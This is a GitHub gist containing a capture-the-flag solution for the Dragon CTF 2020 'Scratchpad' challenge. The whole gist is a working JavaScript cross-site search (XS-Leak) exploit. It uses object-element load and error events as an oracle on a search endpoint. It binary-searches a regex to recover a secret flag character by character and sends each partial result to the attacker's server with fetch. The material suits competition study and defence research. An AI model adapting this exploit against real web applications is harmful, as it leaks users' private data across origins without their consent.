Skip to content

Instantly share code, notes, and snippets.

@lmt-swallow
Last active November 22, 2020 23:01
Show Gist options
  • Save lmt-swallow/737b484b9eae4af558e7237a20736e66 to your computer and use it in GitHub Desktop.
Save lmt-swallow/737b484b9eae4af558e7237a20736e66 to your computer and use it in GitHub Desktop.
Scratchpad - Dragon CTF 2020
<body></body>
<script>
// configurations
const url_base = "http://scratchpad.hackable.software:3000/notes?q=";
const possible_cspace = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!_{}?";
// helpers
const split_space = (s) => {
return [s.slice(0, s.length / 2), s.slice(s.length / 2)];
}
const escape_as_regex = (c) => {
return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&');
}
const ask_oracle = (q) => {
return new Promise((resolve, _) => {
const el = document.createElement("object");
el.onload = () => { document.body.removeChild(el); resolve(true) };
el.onerror = () => { document.body.removeChild(el); resolve(false) };
el.data = url_base + encodeURIComponent(q);
document.body.appendChild(el);
});
};
const bisect_next_char = (known) => {
const _intl = async (search_cspace) => {
if (search_cspace.length === 1) {
return search_cspace;
} else {
const [candidate1, candidate2] = split_space(search_cspace);
const search_payload = `^${escape_as_regex(known)}[${candidate1}].*$`;
const candidate1_follows_after_known = await ask_oracle(search_payload);
if (candidate1_follows_after_known) {
return _intl(candidate1);
} else {
return _intl(candidate2);
}
}
}
return _intl(possible_cspace);
}
// main logic
window.addEventListener('load', async () => {
let flag = '';
while (!/DrgnS\{.*\}/.test(flag)) {
flag += await bisect_next_char(flag);
fetch(`/?flag=${encodeURIComponent(flag)}`);
}
});
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment